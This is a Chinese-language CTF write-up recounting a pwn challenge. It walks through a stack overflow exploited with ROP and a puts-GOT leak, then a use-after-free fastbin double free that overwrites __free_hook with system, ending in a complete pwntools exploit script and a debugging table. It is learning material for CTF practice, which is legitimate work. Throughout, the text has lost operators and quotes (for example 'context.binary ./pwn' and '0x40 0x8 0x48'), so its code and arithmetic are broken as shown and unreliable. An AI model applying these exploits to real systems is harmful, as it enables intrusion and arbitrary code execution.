1. 项目概述一次完整的Pwn实战复盘最近刚结束了一场蓝桥杯的网络安全赛趁着记忆还热乎把这次比赛中遇到的一道典型Pwn题做个复盘。这道题很有意思它像是一个精心设计的“漏洞利用综合训练场”从最基础的栈溢出开始逐步引导你走向更复杂的堆利用场景最终以UAFUse-After-Free漏洞收尾。对于刚接触二进制安全的朋友来说这道题几乎涵盖了入门到进阶的核心知识点。我打算用这篇笔记详细拆解我的解题思路、踩过的坑以及那些在标准教程里不会写的调试细节。无论你是正在备赛蓝桥杯还是单纯想学习Linux下的漏洞利用这篇笔记应该都能给你提供一条清晰的实践路径。Pwn题的核心在于理解程序如何运行以及如何利用程序逻辑上的缺陷漏洞来劫持其控制流。在Linux环境下这通常意味着与进程的内存布局、函数调用约定如x86-64的System V ABI、保护机制如ASLR, NX, Canary打交道。本次复盘将围绕一个虚构但典型的赛题展开它模拟了从简单到复杂的漏洞利用场景。2. 环境准备与工具链搭建工欲善其事必先利其器。做Pwn题一个顺手的调试和分析环境至关重要。很多人一开始就卡在环境配置上浪费大量时间。2.1 核心工具选择与配置我的主力环境是Ubuntu 20.04/22.04 LTS对于Pwn学习来说足够稳定。Windows用户强烈推荐使用WSL2Windows Subsystem for Linux它能提供一个近乎原生的Linux体验兼容性极佳。避免在纯Windows下用Cygwin或MinGW折腾库依赖和调试体验会差很多。必备工具三件套GDB Peda/Pwndbg/GEF这是我们的“手术刀”。原生GDB功能强大但不够友好必须搭配增强插件。我长期使用Pwndbg它的上下文信息显示、堆块分析、ROP链构建辅助功能非常直观。安装也简单通常一行克隆命令加一个安装脚本就能搞定。PwntoolsPython库漏洞利用开发的“瑞士军刀”。它封装了本地/远程连接、数据打包/解包p32,p64、shellcode生成、ROP gadget查找等大量功能能极大提升写exp漏洞利用脚本的效率。通过pip install pwntools即可安装。checksec一个小脚本用于快速检查二进制文件开启了哪些安全保护机制如NX, PIE, Canary, RELRO。知己知彼百战不殆。Pwntools里通常集成了这个功能。注意在安装这些工具时务必确保你的Python环境尤其是pwntools依赖的Python版本是干净的。推荐使用virtualenv或conda创建独立的虚拟环境避免与系统包管理冲突。我曾因为系统Python的pip和apt安装的包版本冲突导致pwntools的cyclic函数报错排查了半天。2.2 目标程序分析与保护机制探测拿到题目附件通常是一个名为pwn或challenge的ELF可执行文件第一步不是直接运行而是静默分析。# 使用file命令查看文件基本信息 file pwn # 输出示例pwn: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]..., not stripped # “not stripped”是好消息意味着符号表还在调试时能看到函数名。 # 使用checksec检查保护机制 checksec pwn # 或使用pwntools的checksec from pwn import * context.binary ./pwn print(context.binary.checksec())典型的输出可能如下Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)关键信息解读Arch:程序是64位的小端序。这决定了我们构造payload时数据打包的方式p64。RELRO: Partial全局偏移表GOT可写。这为后续的GOT覆写攻击提供了可能。Stack: No canary栈上未开启金丝雀Canary保护。这是一个强烈的信号暗示栈溢出漏洞可能存在且利用难度较低。如果开了Canary我们通常需要先泄露或绕过它。NX: Enabled栈不可执行。这意味着我们不能简单地把shellcode放在栈上并跳转过去执行。需要转向ROPReturn-Oriented Programming或ret2libc等技术。PIE: Disabled程序未开启地址空间布局随机化PIE。这意味着代码段.text和部分数据段的加载地址是固定的如0x400000。我们可以在exp中硬编码函数地址如system的地址而不需要先进行信息泄露。这道题的保护机制设置是经典的“入门友好型”开了NX让你不能直接执行栈上的代码但关了PIE和Canary大大降低了利用复杂度。我们的攻击思路会围绕这些保护机制的强弱项来展开。3. 第一阶段栈溢出漏洞分析与利用用objdump -d pwn或radare2、IDA Pro反汇编后我们很快定位到主函数或存在漏洞的函数。假设我们发现一个名为vuln_func的函数它使用了不安全的gets或read但未检查长度的栈缓冲区。3.1 漏洞点定位与偏移计算// 逆向得到的伪代码 void vuln_func() { char buf[64]; gets(buf); // 危险函数不检查输入长度 puts(buf); }buf在栈上分配了64字节。在x86-64架构下调用gets(buf)时buf的地址作为第一个参数保存在rdi寄存器传入。函数执行时栈帧结构大致如下从高地址到低地址... 调用者栈帧 ... 返回地址 (RIP) - 我们的目标 旧的RBP - 函数开头 push rbp buf[64] - 从 rbp-0x40 开始 ... - 可能的对齐空间我们需要计算从buf起始位置到覆盖返回地址所需的字节数。这里buf在rbp-0x4064字节旧的RBP占8字节所以到返回地址的偏移是0x40 0x8 0x48十进制72字节。手动计算验证最可靠的方法是使用cyclicpwntools内置模式字符串。在GDB中运行程序在gets后下断点输入一个长长的、由cyclic生成的、不重复的模式字符串如cyclic(200)程序崩溃时观察RIP寄存器的值。然后用cyclic -l RIP的值就能精确计算出偏移量。这个步骤绝对不能省因为编译器优化、栈对齐等因素可能导致实际偏移与理论计算有出入。3.2 利用链构建ret2text 与 ROP由于NX开启我们不能用shellcode。但程序是静态链接或包含了某些有用的函数system、execve吗用objdump -t pwn | grep system或rabin2 -i pwn查找导入函数。假设幸运地发现程序链接了libc并且有system函数同时字符串/bin/sh也存在于程序的某个数据段可以用rabin2 -z pwn查找字符串。那么最简单的利用思路是ret2text返回到程序已有的代码段覆盖返回地址为system函数的地址。在system调用之前需要让rdi寄存器指向字符串/bin/sh的地址。按照x86-64调用约定参数通过寄存器传递第一个参数在rdi。因此我们需要一个pop rdi; ret这样的指令片段称为gadget。使用ROPgadget --binary pwn | grep pop rdi来搜索。假设我们找到了pop rdi; ret的地址是0x4007a3/bin/sh的地址是0x4008d0system的地址是0x4005e0。那么payload结构如下[ 72字节填充 ][ pop_rdi_ret地址 ][ /bin/sh地址 ][ system地址 ]当vuln_func返回时会跳转到pop rdi; ret。这条指令将栈顶的下一个值即/bin/sh地址弹出到rdi寄存器然后ret指令再次从栈顶弹出下一个地址即system地址并跳转相当于执行了system(“/bin/sh”)。实操心得在构造payload时使用pwntools的flat()函数非常方便它能自动处理地址打包和列表拼接payload flat([bA*72, pop_rdi, binsh_addr, system_addr])。发送payload前务必注意程序的输入输出交互。有些程序会有“请输入你的名字”这样的提示需要用p.recvuntil(b‘:’)来接收直到特定字符串再发送payload。本地测试成功≠远程利用成功。远程环境libc版本可能不同导致函数地址偏移变化。如果程序是动态链接且给了libc.so文件需要计算远程libc的基址。公式是函数真实地址 libc基址 函数在libc中的偏移。函数的偏移可以通过readelf -s libc.so.6 | grep system获取。4. 第二阶段堆漏洞初探与UAF原理在突破第一关后题目往往会引入堆相关的漏洞。堆heap是用于动态内存分配malloc,calloc,realloc的区域其管理比栈复杂得多漏洞利用也更多样。UAF是其中非常经典的一种。4.1 什么是UAFUse-After-Free字面意思就是“释放后使用”。程序逻辑大致如下申请一块堆内存chunk A并用一个指针p指向它。释放free这块内存。在释放后没有将指针p置为NULL这是一个常见的不良编程习惯。后续代码再次通过这个“悬空指针”p来读写已经释放的内存块A。此时内存块A可能已经被内存分配器回收到“空闲链表”中甚至已经被重新分配出去存放其他数据。通过p去操作实际上是在操作一块“不属于”它的数据轻则导致数据错乱重则可能篡改关键数据结构最终实现代码执行。4.2 题目中的UAF场景模拟假设程序提供了类似“记事本”的功能add(size, content): 申请指定大小的堆块写入内容。delete(idx): 释放指定索引的堆块。show(idx): 打印指定索引堆块的内容。edit(idx, content): 修改指定索引堆块的内容。漏洞在于delete操作后没有将对应索引的指针数组项置空。那么在delete之后再次调用edit或show就会触发UAF。利用目标通常是通过UAF实现任意地址读写进而泄露关键地址如libc基址或篡改函数指针如__free_hook或__malloc_hook。4.3 利用思路堆风水与Fastbin Dup在glibc的ptmalloc2分配器中小内存块通常小于128字节被释放后会进入fastbins。fastbins是一个单链表结构。UAF的一个常见利用技巧是Fastbin Double Free或Fastbin Dup。核心步骤布局堆块申请两个大小相同的小堆块比如chunk A和chunk B大小均为0x70。释放与UAF先释放A再释放B。此时A和B都在fastbin链表中。然后利用UAF的edit功能修改chunk A的内容。在堆块被释放后其用户数据区的开头8字节在64位下会变成fd指针指向fastbin链表中的下一个空闲块。我们可以通过UAF将A的fd指针修改为我们想要的一个“假块”的地址。伪造堆块我们想要让分配器在之后把内存分配到某个可控的区域比如.bss段的一个全局数组。我们需要在那个区域伪造一个符合fastbin大小要求的堆块头主要是size字段。假设我们在地址fake_chunk_addr处伪造了size0x71的块头。触发分配再次申请两个0x70大小的堆块。第一次malloc会返回原先的chunk B从fastbin链表头取出。第二次malloc分配器会顺着链表找到被我们修改了fd的chunk A然后从A的fd找到我们伪造的fake_chunk并将其从链表中取出返回给我们实现任意写现在我们拿到了一个指向fake_chunk_addr的指针。通过edit对这个“堆块”写入内容实际上就是在向fake_chunk_addr地址进行任意写。如果fake_chunk_addr是某个函数指针如GOT表中的free函数地址我们就能将其修改为system函数的地址。关键难点与技巧绕过fastbin的size检查分配器在从fastbin取出一个块时会检查其size字段是否与该fastbin的大小一致。我们伪造的fake_chunk的size必须匹配。例如对于0x70的fastbinsize字段需要是0x71因为内存对齐和标志位最低三位用作标志实际大小是0x70。寻找伪造地址通常选择.bss段或data段中我们能够预测地址且可写的区域。因为PIE未开启这些地址是固定的。泄露libc地址要实现上述攻击我们需要知道system函数的真实地址。这通常需要先进行一次信息泄露。我们可以利用UAF的show功能如果某个被释放的堆块的fd指针指向libc中的某个地址比如main_arena结构体的地址那么打印该块的内容就能泄露这个地址从而计算出libc基址。5. 完整利用链构建与EXP编写将栈溢出和UAF结合起来构建完整的利用链。假设题目流程是先进行一个栈溢出漏洞的交互然后进入一个包含UAF漏洞的菜单程序。5.1 利用栈溢出泄露信息虽然第一关的栈溢出可以直接getshell但题目设计可能故意让第一次的溢出无法直接完成利用例如system和/bin/sh都不存在而是让你泄露一些关键信息为第二阶段的堆利用做准备。一种常见的方法是利用栈溢出调用puts函数打印出GOT表中某个已解析函数的地址比如puts自身的GOT表项。因为GOT表中存放的是函数在libc中的真实地址。Payload结构如下[ 72字节填充 ][ pop_rdi_ret地址 ][ puts_got_addr ][ puts_plt_addr ][ main_addr ]pop_rdi_ret将puts_got_addr即puts函数在GOT表中的地址作为参数。puts_plt_addr跳转到puts的PLT项执行puts(puts_got_addr)打印出puts在libc中的地址。main_addrputs执行完后返回到main函数让程序重新开始这样我们就能进行第二次攻击堆利用。收到程序输出的地址后我们就能计算出libc基址libc_base leaked_puts_addr - libc.symbols[‘puts’]。这里libc.symbols[‘puts’]需要我们知道远程libc的版本。如果题目提供了libc.so文件我们可以用LibcSearcher这类工具或者本地建一个Docker环境使用给定的libc。5.2 结合UAF完成最终利用有了libc基址我们就能算出system和__free_hook的地址。__free_hook是glibc中的一个函数指针当free函数被调用时如果__free_hook不为空就会跳转到它指向的地址执行。我们的最终计划是利用UAF和Fastbin Dup实现任意地址写将目标地址定为__free_hook的地址。将__free_hook的值修改为system的地址。释放free一个内容为/bin/sh的堆块。程序调用free实际跳转到__free_hook即system并以/bin/sh为参数从而获得shell。EXP脚本核心部分示例from pwn import * context.binary ./pwn context.log_level debug p process(./pwn) # 本地测试 # p remote(target.ip, port) # 远程连接 # 1. 第一阶段栈溢出泄露puts地址 elf ELF(./pwn) libc ELF(/lib/x86_64-linux-gnu/libc.so.6) # 本地libc远程需替换或计算 pop_rdi 0x4007a3 # gadget地址 puts_plt elf.plt[puts] puts_got elf.got[puts] main_addr elf.symbols[main] payload1 flat([ bA*72, pop_rdi, puts_got, puts_plt, main_addr ]) p.sendlineafter(b, b1) # 假设触发栈溢出的选项是1 p.sendline(payload1) # 接收泄露的地址 leaked_puts u64(p.recvline().strip().ljust(8, b\x00)) log.success(fLeaked puts address: {hex(leaked_puts)}) # 计算libc基址和关键函数地址 libc_base leaked_puts - libc.symbols[puts] system_addr libc_base libc.symbols[system] free_hook_addr libc_base libc.symbols[__free_hook] log.success(fLibc base: {hex(libc_base)}) log.success(fsystem addr: {hex(system_addr)}) log.success(f__free_hook addr: {hex(free_hook_addr)}) # 2. 第二阶段堆利用UAF修改__free_hook def add(size, content): p.sendlineafter(b, b1) p.sendlineafter(bsize:, str(size).encode()) p.sendafter(bcontent:, content) def delete(idx): p.sendlineafter(b, b2) p.sendlineafter(bindex:, str(idx).encode()) def edit(idx, content): p.sendlineafter(b, b4) p.sendlineafter(bindex:, str(idx).encode()) p.sendafter(bcontent:, content) # 布局堆块 add(0x68, bchunk0) # idx0 add(0x68, bchunk1) # idx1 add(0x68, b/bin/sh\x00) # idx2 用于最后free # 触发double free和UAF delete(0) delete(1) delete(0) # 此时fastbin链表 0 - 1 - 0 # 通过UAF修改chunk0的fd指针指向伪造的堆块这里我们直接指向__free_hook附近 # 我们需要在__free_hook附近伪造一个size为0x71的堆块头。 # 通常__free_hook前后的地址可能满足要求或者利用其他可写区域。 # 假设我们找到一个地址fake_chunk其值为 __free_hook_addr - 0x23 # (这是一个示例实际需要根据内存布局寻找合适的伪造地址) fake_chunk free_hook_addr - 0x23 edit(0, p64(fake_chunk)) # 通过UAF修改被释放的chunk0的fd # 申请堆块将伪造的块取出来 add(0x68, bfill) # idx3, 拿到原来的chunk1 (或chunk0取决于实现) add(0x68, bfill) # idx4, 拿到另一个chunk0 add(0x68, bAAAA) # idx5, 关键这次应该拿到伪造的块其地址在__free_hook附近 # 现在idx5指向fake_chunk。向它写入数据就能修改__free_hook处的内存。 # 我们需要精确计算从fake_chunk的用户数据区到__free_hook的偏移。 # 假设偏移是offset则 payload bA*offset p64(system_addr) offset 0x23 0x8 # 伪造块头大小 可能的其他偏移需要动态调试确定 edit(5, bA*offset p64(system_addr)) # 触发free一个内容为/bin/sh的块 delete(2) # 获得shell p.interactive()6. 调试技巧与常见问题排查写Pwn题EXP十次有九次不会一次成功。调试Debugging是比写代码更重要的技能。6.1 GDBPwndbg动态调试技巧attach进程在脚本中p process(‘./pwn’)后立即在另一个终端执行gdb -p $(pidof pwn)来附加调试。或者在pwntools脚本里使用gdb.attach(p)会自动打开GDB并attach。下断点在关键函数如malloc,free,vuln_func和漏洞点如gets之后下断点。b *0x400xxx。观察堆状态Pwndbg的heap命令系列非常强大。heap bins查看所有bins的状态heap chunks查看所有堆块heap chunk $address查看特定地址的堆块详情。这对于理解Fastbin Dup的链表状态至关重要。观察栈状态stack 20查看栈顶20个元素。在栈溢出时配合cyclic模式可以清晰看到返回地址何时被覆盖。单步与继续ninext instruction和sistep instruction用于单步c继续运行。6.2 常见问题与解决方案问题现象可能原因排查与解决思路本地成功远程失败1. Libc版本不同。2. 系统环境差异如内核版本。3. 网络交互时序问题。1.最重要使用题目提供的libc或通过泄露多个函数地址确定libc版本如DynELF、LibcSearcher。2. 尽量在接近比赛环境的Docker中测试。3. 在exp中适当增加sleep或调整recv的时机使用context.log_level’debug’查看所有收发数据。泄露的地址看起来不对1. 接收数据不完整或格式错误。2. 泄露的不是指针而是指针指向的内容。3. 程序输出有换行或其他字符干扰。1. 使用p.recvuntil(b‘:’)精确接收。2. 使用u64(p.recv(6).ljust(8, b’\x00’))处理可能不足8字节的地址。3. 用p.recvline()并strip()掉换行或者直接recv(n)指定字节数。堆利用时malloc返回意外地址或崩溃1. 伪造的size字段不符合fastbin要求。2. 伪造地址的对齐问题需要16字节对齐。3. Double Free检测某些glibc版本有更严格的检查。1. 用GDB查看目标地址的内存确认size字段是否正确。x/gx fake_chunk_addr。2. 确保伪造地址是0x10的整数倍。3. 尝试不同的堆块大小或利用手法如Tcache Dup在glibc 2.26中更常见。修改__free_hook后free没触发shell1.__free_hook写入的地址不对。2. free的块内容不是/bin/sh字符串指针。3.system函数需要特定的栈环境。1. GDB查看__free_hook处的值是否已改为system_addrp __free_hook。2. 确保free的块内容开头是/bin/sh的地址并且是一个合法的指针指向可读内存。3. 有时需要pop rdi; ret来调整栈但__free_hook调用时第一个参数就是free的指针通常符合system要求。EXP脚本卡住无输出1. 交互逻辑错误发送/接收不匹配。2. 程序崩溃退出。3. 死循环或条件竞争。1. 开启debug日志看卡在哪一步的发送或接收。对比正常交互手动输入的过程。2. GDB附加查看程序是否收到信号如SIGSEGV。3. 检查是否有需要满足的特定条件才能进入漏洞代码分支。6.3 心态与练习建议Pwn题从看懂到自己做出来中间隔着大量的练习。不要满足于看懂WPWriteup一定要自己动手复现一遍过程中会遇到无数个上面表格里的问题逐个解决它们才是真正的成长。建议从一些经典的、保护机制较少的题目开始如pwnable.kr的fd,collision,bof然后逐步挑战更复杂的题目。每次调试遇到问题先去理解错误信息GDB的backtrace程序输出的错误信号再结合静态分析IDA看反汇编和动态分析GDB看内存像侦探一样梳理程序的执行流和数据流变化。这个过程很烧脑但当你最终看到那个$符号的shell弹出来时那种成就感是无与伦比的。这道蓝桥杯的模拟题恰好串联了栈和堆的经典漏洞把它吃透你的Pwn功力一定能上一个台阶。